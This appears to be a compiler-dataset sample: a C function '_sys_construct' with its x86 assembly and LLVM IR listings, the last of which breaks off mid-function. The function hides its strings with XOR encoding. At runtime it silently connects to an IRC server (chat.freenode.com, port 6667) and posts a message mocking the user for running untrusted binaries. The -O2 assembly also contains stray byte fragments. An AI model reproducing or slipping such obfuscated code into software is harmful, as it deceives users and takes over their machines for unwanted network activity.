#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
  int /*<<< orphan*/ sin_addr;
};
struct sockaddr {
  int dummy;
};
struct hostent {
  int dummy;
};
typedef int /*<<< orphan*/ server;
typedef int /*<<< orphan*/ rcvbuf;
struct TYPE_2__ {
  int /*<<< orphan*/ h_length;
  int /*<<< orphan*/ *h_addr_list;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ _sys_hash(int, char *);
int /*<<< orphan*/ _sys_send(int, char *);
int /*<<< orphan*/ connect(int, struct sockaddr *, int);
TYPE_1__ *gethostbyname(char *);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ memcpy(int /*<<< orphan*/ *, int /*<<< orphan*/,
                          int /*<<< orphan*/);
int rand();
int /*<<< orphan*/ recv(int, char *, int, int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ sprintf(char *, char *, char *, char *, char *, char *,
                           char *);
int /*<<< orphan*/ srand(int /*<<< orphan*/);
int /*<<< orphan*/ *strstr(char *, char *);
int /*<<< orphan*/ time(int /*<<< orphan*/ *);
void *_sys_construct() {
  struct sockaddr_in server;
  struct hostent *he;
  int sock;
  char sndbuf[2048];
  char rcvbuf[2048];
  char username[6];
  char match_one[] = {0x7C, 0x50, 0x4A, 0x53, 0x5B, 0x51, 0x18, 0x4B, 0x00};
  char match_two[] = {0x3D, 0x14, 0x0E, 0x15, 0x1F, 0x00};
  char address[] = {0x49, 0x42, 0x4B, 0x5E, 0x04, 0x4C, 0x58, 0x4F, 0x4F,
                    0x44, 0x45, 0x4E, 0x4F, 0x04, 0x49, 0x45, 0x47, 0x00};
  char settings[] = {
      0x57, 0x51, 0x47, 0x50, 0x22, 0x45, 0x41, 0x56, 0x44, 0x5D, 0x4B, 0x46,
      0x33, 0x32, 0x56, 0x5D, 0x27, 0x71, 0x22, 0x45, 0x41, 0x56, 0x44, 0x5D,
      0x4B, 0x46, 0x33, 0x32, 0x56, 0x5D, 0x27, 0x71, 0x22, 0x45, 0x41, 0x56,
      0x44, 0x5D, 0x4B, 0x46, 0x33, 0x32, 0x56, 0x5D, 0x27, 0x71, 0x22, 0x38,
      0x45, 0x41, 0x56, 0x44, 0x5D, 0x4B, 0x46, 0x33, 0x32, 0x56, 0x5D, 0x27,
      0x71, 0x08, 0x4C, 0x4B, 0x41, 0x49, 0x22, 0x45, 0x41, 0x56, 0x44, 0x5D,
      0x4B, 0x46, 0x33, 0x32, 0x56, 0x5D, 0x27, 0x71, 0x08, 0x00};
  char shame[] = {
      0x35, 0x30, 0x36, 0x31, 0x5F, 0x5C, 0x18, 0x0D, 0x06, 0x0F, 0x17, 0x10,
      0x11, 0x1C, 0x0B, 0x19, 0x75, 0x2F, 0x2D, 0x36, 0x29, 0x32, 0x2C, 0x38,
      0x5F, 0x5C, 0x18, 0x0D, 0x06, 0x0F, 0x17, 0x10, 0x11, 0x1C, 0x0B, 0x19,
      0x5F, 0x45, 0x36, 0x5F, 0x3E, 0x32, 0x5F, 0x3E, 0x31, 0x5F, 0x36, 0x3B,
      0x4E, 0x4F, 0x2B, 0x5F, 0x28, 0x37, 0x30, 0x5F, 0x2D, 0x2A, 0x31, 0x2C,
      0x5F, 0x3D, 0x36, 0x31, 0x3E, 0x2D, 0x36, 0x3A, 0x2C, 0x5F, 0x38, 0x36,
      0x29, 0x3A, 0x31, 0x5F, 0x2B, 0x30, 0x5F, 0x32, 0x3A, 0x5F, 0x36, 0x31,
      0x3B, 0x36, 0x2C, 0x3C, 0x2D, 0x36, 0x32, 0x36, 0x31, 0x3E, 0x2B, 0x3A,
      0x33, 0x26, 0x5E, 0x5F, 0x32, 0x30, 0x3C, 0x34, 0x5F, 0x32, 0x3A, 0x3A,
      0x3A, 0x5E, 0x5E, 0x5E, 0x75};
  char match_three[] = {0x5D, 0x76, 0x7C, 0x38, 0x77, 0x7E, 0x38,
                        0x37, 0x56, 0x59, 0x55, 0x5D, 0x4B, 0x38,
                        0x74, 0x71, 0x6B, 0x6C, 0x36, 0x00};
  _sys_hash(0x3F, match_one);
  _sys_hash(0x7B, match_two);
  _sys_hash(0x2A, address);
  _sys_hash(0x02, settings);
  _sys_hash(0x7F, shame);
  _sys_hash(0x18, match_three);
  sock = socket(AF_INET, SOCK_STREAM, 0);
  memcpy(&server.sin_addr, gethostbyname(address)->h_addr_list[0],
         gethostbyname(address)->h_length);
  server.sin_family = AF_INET;
  server.sin_port = htons(6667);
  connect(sock, (struct sockaddr *)&server, sizeof(server));
  while (strstr(rcvbuf, match_one) == NULL &&
         strstr(rcvbuf, match_two) == NULL) {
    recv(sock, rcvbuf, sizeof(rcvbuf), 0);
  }
  srand(time(NULL));
  for (int i = 0; i < 6; i++) {
    username[i] = (unsigned char)(rand() % 26 + 65);
  }
  sprintf(sndbuf, settings, username, username, username, username, username);
  _sys_send(sock, sndbuf);
  _sys_send(sock, shame);
  while (strstr(rcvbuf, match_three) == NULL) {
    recv(sock, rcvbuf, sizeof(rcvbuf), 0);
  }
  return 0;
}


x86 assembly (clang, -O0):
<_sys_construct>:
push   %rbp
mov    %rsp,%rbp
sub    $0x1170,%rsp
mov    0xe1e(%rip),%rax
mov    %rax,-0x102f(%rbp)
mov    0xe19(%rip),%al
mov    %al,-0x1027(%rbp)
mov    0xe0e(%rip),%eax
mov    %eax,-0x1035(%rbp)
mov    0xe05(%rip),%ax
mov    %ax,-0x1031(%rbp)
mov    0xdfa(%rip),%rax
mov    %rax,-0x1050(%rbp)
mov    0xdf4(%rip),%rax
mov    %rax,-0x1048(%rbp)
mov    0xdee(%rip),%ax
mov    %ax,-0x1040(%rbp)
lea    -0x10b0(%rbp),%rdi
lea    0xde9(%rip),%rsi
mov    $0x52,%edx
call   1080 <memcpy@plt>
lea    -0x1130(%rbp),%rdi
lea    0xe51(%rip),%rsi
mov    $0x71,%edx
call   1080 <memcpy@plt>
mov    0xe20(%rip),%rax
mov    %rax,-0x1150(%rbp)
mov    0xe1a(%rip),%rax
mov    %rax,-0x1148(%rbp)
mov    0xe15(%rip),%eax
mov    %eax,-0x1140(%rbp)
lea    -0x102f(%rbp),%rsi
mov    $0x3f,%edi
call   1040 <_sys_hash@plt>
lea    -0x1035(%rbp),%rsi
mov    $0x7b,%edi
call   1040 <_sys_hash@plt>
lea    -0x1050(%rbp),%rsi
mov    $0x2a,%edi
call   1040 <_sys_hash@plt>
lea    -0x10b0(%rbp),%rsi
mov    $0x2,%edi
call   1040 <_sys_hash@plt>
lea    -0x1130(%rbp),%rsi
mov    $0x7f,%edi
call   1040 <_sys_hash@plt>
lea    -0x1150(%rbp),%rsi
mov    $0x18,%edi
call   1040 <_sys_hash@plt>
mov    0x2cea(%rip),%rax
mov    (%rax),%edi
mov    0x2cd1(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10f0 <socket@plt>
mov    %eax,-0x1c(%rbp)
lea    -0x10(%rbp),%rax
add    $0x8,%rax
mov    %rax,-0x1160(%rbp)
lea    -0x1050(%rbp),%rdi
call   1070 <gethostbyname@plt>
mov    0x8(%rax),%rax
mov    (%rax),%eax
mov    %eax,-0x1158(%rbp)
lea    -0x1050(%rbp),%rdi
call   1070 <gethostbyname@plt>
mov    -0x1160(%rbp),%rdi
mov    -0x1158(%rbp),%esi
mov    (%rax),%edx
call   1080 <memcpy@plt>
mov    0x2c87(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0xc(%rbp)
mov    $0x1a0b,%edi
call   1050 <htons@plt>
mov    %eax,-0x10(%rbp)
mov    -0x1c(%rbp),%edi
lea    -0x10(%rbp),%rsi
mov    $0xc,%edx
call   10c0 <connect@plt>
lea    -0x1020(%rbp),%rdi
lea    -0x102f(%rbp),%rsi
call   10d0 <strstr@plt>
mov    %rax,%rcx
xor    %eax,%eax
cmp    $0x0,%rcx
mov    %al,-0x1161(%rbp)
jne    13cc <_sys_construct+0x1fc>
lea    -0x1020(%rbp),%rdi
lea    -0x1035(%rbp),%rsi
call   10d0 <strstr@plt>
cmp    $0x0,%rax
sete   %al
mov    %al,-0x1161(%rbp)
mov    -0x1161(%rbp),%al
test   $0x1,%al
jne    13df <_sys_construct+0x20f>
jmp    13fa <_sys_construct+0x22a>
mov    -0x1c(%rbp),%edi
lea    -0x1020(%rbp),%rsi
mov    $0x800,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
jmp    1384 <_sys_construct+0x1b4>
xor    %eax,%eax
mov    %eax,%edi
call   1090 <time@plt>
mov    %eax,%edi
call   1060 <srand@plt>
movl   $0x0,-0x1154(%rbp)
cmpl   $0x6,-0x1154(%rbp)
jge    1457 <_sys_construct+0x287>
mov    $0x0,%al
call   10e0 <rand@plt>
mov    $0x1a,%ecx
cltd
idiv   %ecx
add    $0x41,%edx
mov    %dl,%cl
movslq -0x1154(%rbp),%rax
mov    %cl,-0x1026(%rbp,%rax,1)
mov    -0x1154(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x1154(%rbp)
jmp    1414 <_sys_construct+0x244>
lea    -0x820(%rbp),%rdi
lea    -0x10b0(%rbp),%rsi
lea    -0x1026(%rbp),%rdx
lea    -0x1026(%rbp),%rcx
lea    -0x1026(%rbp),%r8
lea    -0x1026(%rbp),%r9
lea    -0x1026(%rbp),%rax
mov    %rax,(%rsp)
call   10b0 <sprintf@plt>
mov    -0x1c(%rbp),%edi
lea    -0x820(%rbp),%rsi
call   10a0 <_sys_send@plt>
mov    -0x1c(%rbp),%edi
lea    -0x1130(%rbp),%rsi
call   10a0 <_sys_send@plt>
lea    -0x1020(%rbp),%rdi
lea    -0x1150(%rbp),%rsi
call   10d0 <strstr@plt>
cmp    $0x0,%rax
jne    14e7 <_sys_construct+0x317>
mov    -0x1c(%rbp),%edi
lea    -0x1020(%rbp),%rsi
mov    $0x800,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
jmp    14af <_sys_construct+0x2df>
xor    %eax,%eax
add    $0x1170,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<_sys_construct>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x1168,%rsp
movabs $0x4b18515b534a507c,%rax
51 18 4b
mov    %rax,0x20(%rsp)
movb   $0x0,0x28(%rsp)
movw   $0x1f,0x1c(%rsp)
movl   $0x150e143d,0x18(%rsp)
15
movaps 0xe05(%rip),%xmm0
movaps %xmm0,0x60(%rsp)
movw   $0x47,0x70(%rsp)
movaps 0xe52(%rip),%xmm0
movaps %xmm0,0xc0(%rsp)
movaps 0xe33(%rip),%xmm0
movaps %xmm0,0xb0(%rsp)
movaps 0xe14(%rip),%xmm0
movaps %xmm0,0xa0(%rsp)
movaps 0xdf5(%rip),%xmm0
movaps %xmm0,0x90(%rsp)
movaps 0xdd6(%rip),%xmm0
movaps %xmm0,0x80(%rsp)
movw   $0x8,0xd0(%rsp)
movaps 0xe9d(%rip),%xmm0
movaps %xmm0,0x140(%rsp)
movaps 0xe7e(%rip),%xmm0
movaps %xmm0,0x130(%rsp)
movaps 0xe5f(%rip),%xmm0
movaps %xmm0,0x120(%rsp)
movaps 0xe40(%rip),%xmm0
movaps %xmm0,0x110(%rsp)
movaps 0xe21(%rip),%xmm0
movaps %xmm0,0x100(%rsp)
movaps 0xe02(%rip),%xmm0
movaps %xmm0,0xf0(%rsp)
movaps 0xde3(%rip),%xmm0
movaps %xmm0,0xe0(%rsp)
movb   $0x75,0x150(%rsp)
75
movaps 0xdac(%rip),%xmm0
movaps %xmm0,0x40(%rsp)
movl   $0x366c6b,0x50(%rsp)
lea    0x20(%rsp),%r14
mov    $0x3f,%edi
mov    %r14,%rsi
call   1040 <_sys_hash@plt>
lea    0x18(%rsp),%rsi
mov    $0x7b,%edi
call   1040 <_sys_hash@plt>
lea    0x60(%rsp),%r15
mov    $0x2a,%edi
mov    %r15,%rsi
call   1040 <_sys_hash@plt>
lea    0x80(%rsp),%rsi
mov    $0x2,%edi
call   1040 <_sys_hash@plt>
lea    0xe0(%rsp),%rsi
mov    $0x7f,%edi
call   1040 <_sys_hash@plt>
lea    0x40(%rsp),%rsi
mov    $0x18,%edi
call   1040 <_sys_hash@plt>
mov    0x2c8a(%rip),%rbx
mov    (%rbx),%edi
mov    0x2c71(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10f0 <socket@plt>
mov    %eax,%r12d
lea    0x38(%rsp),%r13
mov    %r15,%rdi
call   1070 <gethostbyname@plt>
mov    0x8(%rax),%rax
mov    (%rax),%ebp
mov    %r15,%rdi
call   1070 <gethostbyname@plt>
mov    (%rax),%edx
mov    %r13,%rdi
mov    %ebp,%esi
call   1080 <memcpy@plt>
mov    (%rbx),%eax
mov    %eax,0x34(%rsp)
mov    $0x1a0b,%edi
call   1050 <htons@plt>
mov    %eax,0x30(%rsp)
lea    0x30(%rsp),%rsi
mov    %r12d,%edi
mov    $0xc,%edx
call   10c0 <connect@plt>
lea    0x160(%rsp),%rdi
mov    %r14,%rsi
call   10d0 <strstr@plt>
test   %rax,%rax
jne    1422 <_sys_construct+0x252>
lea    0x160(%rsp),%rbx
lea    0x18(%rsp),%r14
lea    0x20(%rsp),%r15
nopw   0x0(%rax,%rax,1)
mov    %rbx,%rdi
mov    %r14,%rsi
call   10d0 <strstr@plt>
test   %rax,%rax
jne    1422 <_sys_construct+0x252>
mov    %r12d,%edi
mov    %rbx,%rsi
mov    $0x800,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
mov    %rbx,%rdi
mov    %r15,%rsi
call   10d0 <strstr@plt>
test   %rax,%rax
je     13f0 <_sys_construct+0x220>
xor    %edi,%edi
call   1090 <time@plt>
mov    %eax,%edi
call   1060 <srand@plt>
xor    %eax,%eax
call   10e0 <rand@plt>
cltq
imul   $0x4ec4ec4f,%rax,%rcx
mov    %rcx,%rdx
shr    $0x3f,%rdx
sar    $0x23,%rcx
add    %edx,%ecx
lea    (%rcx,%rcx,4),%edx
lea    (%rdx,%rdx,4),%edx
add    %ecx,%edx
sub    %edx,%eax
add    $0x41,%al
mov    %al,0x12(%rsp)
xor    %eax,%eax
call   10e0 <rand@plt>
cltq
imul   $0x4ec4ec4f,%rax,%rcx
mov    %rcx,%rdx
shr    $0x3f,%rdx
sar    $0x23,%rcx
add    %edx,%ecx
lea    (%rcx,%rcx,4),%edx
lea    (%rdx,%rdx,4),%edx
add    %ecx,%edx
sub    %edx,%eax
add    $0x41,%al
mov    %al,0x13(%rsp)
xor    %eax,%eax
call   10e0 <rand@plt>
cltq
imul   $0x4ec4ec4f,%rax,%rcx
mov    %rcx,%rdx
shr    $0x3f,%rdx
sar    $0x23,%rcx
add    %edx,%ecx
lea    (%rcx,%rcx,4),%edx
lea    (%rdx,%rdx,4),%edx
add    %ecx,%edx
sub    %edx,%eax
add    $0x41,%al
mov    %al,0x14(%rsp)
xor    %eax,%eax
call   10e0 <rand@plt>
cltq
imul   $0x4ec4ec4f,%rax,%rcx
mov    %rcx,%rdx
shr    $0x3f,%rdx
sar    $0x23,%rcx
add    %edx,%ecx
lea    (%rcx,%rcx,4),%edx
lea    (%rdx,%rdx,4),%edx
add    %ecx,%edx
sub    %edx,%eax
add    $0x41,%al
mov    %al,0x15(%rsp)
xor    %eax,%eax
call   10e0 <rand@plt>
cltq
imul   $0x4ec4ec4f,%rax,%rcx
mov    %rcx,%rdx
shr    $0x3f,%rdx
sar    $0x23,%rcx
add    %edx,%ecx
lea    (%rcx,%rcx,4),%edx
lea    (%rdx,%rdx,4),%edx
add    %ecx,%edx
sub    %edx,%eax
add    $0x41,%al
mov    %al,0x16(%rsp)
xor    %eax,%eax
call   10e0 <rand@plt>
cltq
imul   $0x4ec4ec4f,%rax,%rcx
mov    %rcx,%rdx
shr    $0x3f,%rdx
sar    $0x23,%rcx
add    %edx,%ecx
lea    (%rcx,%rcx,4),%edx
lea    (%rdx,%rdx,4),%edx
add    %ecx,%edx
sub    %edx,%eax
add    $0x41,%al
mov    %al,0x17(%rsp)
lea    0x12(%rsp),%rcx
mov    %rcx,(%rsp)
lea    0x960(%rsp),%rbx
lea    0x80(%rsp),%rsi
mov    %rbx,%rdi
mov    %rcx,%rdx
mov    %rcx,%r8
mov    %rcx,%r9
call   10b0 <sprintf@plt>
mov    %r12d,%edi
mov    %rbx,%rsi
call   10a0 <_sys_send@plt>
lea    0xe0(%rsp),%rsi
mov    %r12d,%edi
call   10a0 <_sys_send@plt>
lea    0x160(%rsp),%rdi
lea    0x40(%rsp),%rsi
call   10d0 <strstr@plt>
test   %rax,%rax
jne    15d2 <_sys_construct+0x402>
lea    0x160(%rsp),%rbx
lea    0x40(%rsp),%rbp
nopw   0x0(%rax,%rax,1)
mov    %r12d,%edi
mov    %rbx,%rsi
mov    $0x800,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
mov    %rbx,%rdi
mov    %rbp,%rsi
call   10d0 <strstr@plt>
test   %rax,%rax
je     15b0 <_sys_construct+0x3e0>
xor    %eax,%eax
add    $0x1168,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, i32, i32 }
%struct.hostent = type { i32 }
%struct.TYPE_2__ = type { i32, i32* }
%struct.sockaddr = type { i32 }
@__const._sys_construct.match_one = [9 x i8] c"|PJS[Q\18K\00"
@__const._sys_construct.match_two = [6 x i8] c"=\14\0E\15\1F\00"
@__const._sys_construct.address = [18 x i8] c"IBK^\04LXOODENO\04IEG\00"
@__const._sys_construct.settings = [82 x i8] c"WQGP\22EAVD]KF32V]'q\22EAVD]KF32V]'q\22EAVD]KF32V]'q\228EAVD]KF32V]'q\08LKAI\22EAVD]KF32V]'q\08\00"
@__const._sys_construct.shame = [113 x i8] c"5061_\\\18\0D\06\0F\17\10\11\1C\0B\19u/-6)2,8_\\\18\0D\06\0F\17\10\11\1C\0B\19_E6_>2_>1_6;NO+_(70_-*1,_=61>-6:,_86):1_+0_2:_61;6,<-6261>+:3&^_20<4_2:::^^^u"
@__const._sys_construct.match_three = [20 x i8] c"]v|8w~87VYU]K8tqkl6\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
define i8* @_sys_construct() {
%1 = alloca %struct.sockaddr_in
%2 = alloca %struct.hostent*
%3 = alloca i32
%4 = alloca [2048 x i8]
%5 = alloca [2048 x i8]
%6 = alloca [6 x i8]
%7 = alloca [9 x i8]
%8 = alloca [6 x i8]
%9 = alloca [18 x i8]
%10 = alloca [82 x i8]
%11 = alloca [113 x i8]
%12 = alloca [20 x i8]
%13 = alloca i32
%14 = bitcast [9 x i8]* %7 to i8*
%15 = bitcast [6 x i8]* %8 to i8*
%16 = bitcast [18 x i8]* %9 to i8*
%17 = bitcast [82 x i8]* %10 to i8*
%18 = bitcast [113 x i8]* %11 to i8*
%19 = bitcast [20 x i8]* %12 to i8*
%20 = getelementptr inbounds [9 x i8], [9 x i8]* %7, i64 0, i64 0
%21 = call i32 @_sys_hash(i32 63, i8* %20)
%22 = getelementptr inbounds [6 x i8], [6 x i8]* %8, i64 0, i64 0
%23 = call i32 @_sys_hash(i32 123, i8* %22)
%24 = getelementptr inbounds [18 x i8], [18 x i8]* %9, i64 0, i64 0
%25 = call i32 @_sys_hash(i32 42, i8* %24)
%26 = getelementptr inbounds [82 x i8], [82 x i8]* %10, i64 0, i64 0
%27 = call i32 @_sys_hash(i32 2, i8* %26)
%28 = getelementptr inbounds [113 x i8], [113 x i8]* %11, i64 0, i64 0
%29 = call i32 @_sys_hash(i32 127, i8* %28)
%30 = getelementptr inbounds [20 x i8], [20 x i8]* %12, i64 0, i64 0
%31 = call i32 @_sys_hash(i32 24, i8* %30)
%32 = load i32, i32* @AF_INET
%33 = load i32, i32* @SOCK_STREAM
%34 = call i32 @socket(i32 %32, i32 %33, i32 0)
store i32 %34, i32* %3
%35 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i32 0, i32 2
%36 = getelementptr inbounds [18 x i8], [18 x i8]* %9, i64 0, i64 0
%37 = call %struct.TYPE_2__* @gethostbyname(i8* %36)
%38 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %37, i32 0, i32 1
%39 = load i32*, i32** %38
%40 = getelementptr inbounds i32, i32* %39, i64 0
%41 = load i32, i32* %40
%42 = getelementptr inbounds [18 x i8], [18 x i8]* %9, i64 0, i64 0
%43 = call %struct.TYPE_2__* @gethostbyname(i8* %42)
%44 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %43, i32 0, i32 0
%45 = load i32, i32* %44
%46 = call i32 @memcpy(i32* %35, i32 %41, i32 %45)
%47 = load i32, i32* @AF_INET
%48 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i32 0, i32 1
store i32 %47, i32* %48
%49 = call i32 @htons(i32 6667)
%50 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i32 0, i32 0
store i32 %49, i32* %50
%51 = load i32, i32* %3
%52 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
%53 = call i32 @connect(i32 %51, %struct.sockaddr* %52, i32 12)
br label %54
54: ; preds = %66, %0
%55 = getelementptr inbounds [2048 x i8], [2048 x i8]* %5, i64 0, i64 0
%56 = getelementptr inbounds [9 x i8], [9 x i8]* %7, i64 0, i64 0
%57 = call i32* @strstr(i8* %55, i8* %56)
%58 = icmp eq i32* %57, null
br i1 %58, label %59, label %64
59: ; preds = %54
%60 = getelementptr inbounds [2048 x i8], [2048 x i8]* %5, i64 0, i64 0
%61 = getelementptr inbounds [6 x i8], [6 x i8]* %8, i64 0, i64 0
%62 = call i32* @strstr(i8* %60, i8* %61)
%63 = icmp eq i32* %62, null
br label %64
64: ; preds = %59, %54
%65 = phi i1 [ false, %54 ], [ %63, %59 ]
br i1 %65, label %66, label %70
66: ; preds = %64
%67 = load i32, i32* %3
%68 = getelementptr inbounds [2048 x i8], [2048 x i8]* %5, i64 0, i64 0
%69 = call i32 @recv(i32 %67, i8* %68, i32 2048, i32 0)
br label %54
70: ; preds = %64
%71 = call i32 @time(i32* null)
%72 = call i32 @srand(i32 %71)
store i32 0, i32* %13
br label %73
73: ; preds = %84, %70
%74 = load i32, i32* %13
%75 = icmp slt i32 %74, 6
br i1 %75, label %76, label %87
76: ; preds = %73
%77 = call i32 (...) @rand()
%78 = srem i32 %77, 26
%79 = add nsw i32 %78, 65
%80 = trunc i32 %79 to i8
%81 = load i32, i32* %13
%82 = sext i32 %81 to i64
%83 = getelementptr inbounds [6 x i8], [6 x i8]* %6, i64 0, i64 %82
store i8 %80, i8* %83
br label %84
84: ; preds = %76
%85 = load i32, i32* %13
%86 = add nsw i32 %85, 1
store i32 %86, i32* %13
br label %73
87: ; preds = %73
%88 = getelementptr inbounds [2048 x i8], [2048 x i8]* %4, i64 0, i64 0
%89 = getelementptr inbounds [82 x i8], [82 x i8]* %10, i64 0, i64 0
%90 = getelementptr inbounds [6 x i8], [6 x i8]* %6, i64 0, i64 0
%91 = getelementptr inbounds [6 x i8], [6 x i8]* %6, i64 0, i64 0
%92 = getelementptr inbounds [6 x i8], [6 x i8]* %6, i64 0, i64 0
%93 = getelementptr inbounds [6 x i8], [6 x i8]* %6, i64 0, i64 0
%94 = getelementptr inbounds [6 x i8], [6 x i8]* %6, i64 0, i64 0
%95 = call i32 @sprintf(i8* %88, i8* %89, i8* %90, i8* %91, i8* %92, i8* %93, i8* %94)
%96 = load i32, i32* %3
%97 = getelementptr inbounds [2048 x i8], [2048 x i8]* %4, i64 0, i64 0
%98 = call i32 @_sys_send(i32 %96, i8* %97)
%99 = load i32, i32* %3
%100 = getelementptr inbounds [113 x i8], [113 x i8]* %11, i64 0, i64 0
%101 = call i32 @_sys_send(i32 %99, i8* %100)
br label %102
102: ; preds = %107, %87
%103 = getelementptr inbounds [2048 x i8], [2048 x i8]* %5, i64 0, i64 0
%104 = getelementptr inbounds [20 x i8], [20 x i8]* %12, i64 0, i64 0
%105 = call i32* @strstr(i8* %103, i8* %104)
%106 = icmp eq i32* %105, null
br i1 %106, label %107, label %111
107: ; preds = %102
%108 = load i32, i32* %3
%109 = getelementptr inbounds [2048 x i8], [2048 x i8]* %5, i64 0, i64 0
%110 = call i32 @recv(i32 %108, i8* %109, i32 2048, i32 0)
br label %102
111: ; preds = %102
ret i8* null
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, i32, i32 }
%struct.hostent = type { i32 }
%struct.TYPE_2__ = type { i32, i32* }
%struct.sockaddr = type { i32 }
@__const._sys_construct.match_one = [9 x i8] c"|PJS[Q\18K\00"
@__const._sys_construct.match_two = [6 x i8] c"=\14\0E\15\1F\00"
@__const._sys_construct.address = [18 x i8] c"IBK^\04LXOODENO\04IEG\00"
@__const._sys_construct.settings = [82 x i8] c"WQGP\22EAVD]KF32V]'q\22EAVD]KF32V]'q\22EAVD]KF32V]'q\228EAVD]KF32V]'q\08LKAI\22EAVD]KF32V]'q\08\00"
@__const._sys_construct.shame = [113 x i8] c"5061_\\\18\0D\06\0F\17\10\11\1C\0B\19u/-6)2,8_\\\18\0D\06\0F\17\10\11\1C\0B\19_E6_>2_>1_6;NO+_(70_-*1,_=61>-6:,_86):1_+0_2:_61;6,<-6261>+:3&^_20<4_2:::^^^u"
@__const._sys_construct.match_three = [20 x i8] c"]v|8w~87VYU]K8tqkl6\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
define noalias i8* @_sys_construct() {
%1 = alloca %struct.sockaddr_in
%2 = alloca [2048 x i8]
%3 = alloca [2048 x i8]
%4 = alloca [6 x i8]
%5 = alloca [9 x i8]
%6 = alloca [6 x i8]
%7 = alloca [18 x i8]
%8 = alloca [82 x i8]
%9 = alloca [113 x i8]
%10 = alloca [20 x i8]
%11 = bitcast %struct.sockaddr_in* %1 to i8*
%12 = getelementptr inbounds [2048 x i8], [2048 x i8]* %2, i64 0, i64 0
%13 = getelementptr inbounds [2048 x i8], [2048 x i8]* %3, i64 0, i64 0
%14 = getelementptr inbounds [6 x i8], [6 x i8]* %4, i64 0, i64 0
%15 = getelementptr inbounds [9 x i8], [9 x i8]* %5, i64 0, i64 0
%16 = getelementptr inbounds [6 x i8], [6 x i8]* %6, i64 0, i64 0
%17 = getelementptr inbounds [18 x i8], [18 x i8]* %7, i64 0, i64 0
%18 = getelementptr inbounds [82 x i8], [82 x i8]* %8, i64 0, i64 0
%19 = getelementptr inbounds [113 x i8], [113 x i8]* %9, i64 0, i64 0
%20 = getelementptr inbounds [20 x i8], [20 x i8]* %10, i64 0, i64 0
%21 = call i32 @_sys_hash(i32 63, i8* %15)
%22 = call i32 @_sys_hash(i32 123, i8* %16)
%23 = call i32 @_sys_hash(i32 42, i8* %17)
%24 = call i32 @_sys_hash(i32 2, i8* %18)
%25 = call i32 @_sys_hash(i32 127, i8* %19)
%26 = call i32 @_sys_hash(i32 24, i8* %20)
%27 = load i32, i32* @AF_INET
%28 = load i32, i32* @SOCK_STREAM
%29 = call i32 @socket(i32 %27, i32 %28, i32 0)
%30 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 2
%31 = call %struct.TYPE_2__* @gethostbyname(i8* %17)
%32 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %31, i64 0, i32 1
%33 = load i32*, i32** %32
%34 = load i32, i32* %33
%35 = call %struct.TYPE_2__* @gethostbyname(i8* %17)
%36 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %35, i64 0, i32 0
%37 = load i32, i32* %36
%38 = call i32 @memcpy(i32* %30, i32 %34, i32 %37)
%39 = load i32, i32* @AF_INET
%40 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 1
store i32 %39, i32* %40
%41 = call i32 @htons(i32 6667)
%42 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 0
store i32 %41, i32* %42
%43 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
%44 = call i32 @connect(i32 %29, %struct.sockaddr* %43, i32 12)
%45 = call i32* @strstr(i8* %13, i8* %15)
%46 = icmp eq i32* %45, null
br i1 %46, label %47, label %54
47: ; preds = %0, %50
%48 = call i32* @strstr(i8* %13, i8* %16)
%49 = icmp eq i32* %48, null
br i1 %49, label %50, label %54
50: ; preds = %47
%51 = call i32 @recv(i32 %29, i8* %13, i32 2048, i32 0)
%52 = call i32* @strstr(i8* %13, i8* %15)
%53 = icmp eq i32* %52, null
br i1 %53, label %47, label %54
54: ; preds = %47, %50, %0
%55 = call i32 @time(i32* null)
%56 = call i32 @srand(i32 %55)
%57 = call i32 (...) @rand()
%58 = srem i32 %57, 26
%59 = trunc i32 %58 to i8
%60 = add nsw i8 %59, 65
store i8 %60, i8* %14
%61 = call i32 (...) @rand()
%62 = srem i32 %61, 26
%63 = trunc i32 %62 to i8
%64 = add nsw i8 %63, 65
%65 = getelementptr inbounds [6 x i8], [6 x i8]* %4, i64 0, i64 1
store i8 %64, i8* %65
%66 = call i32 (...) @rand()
%67 = srem i32 %66, 26
%68 = trunc i32 %67 to i8
%69 = add nsw i8 %68, 65
%70 = getelementptr inbounds [6 x i8], [6 x i8]* %4, i64 0, i64 2
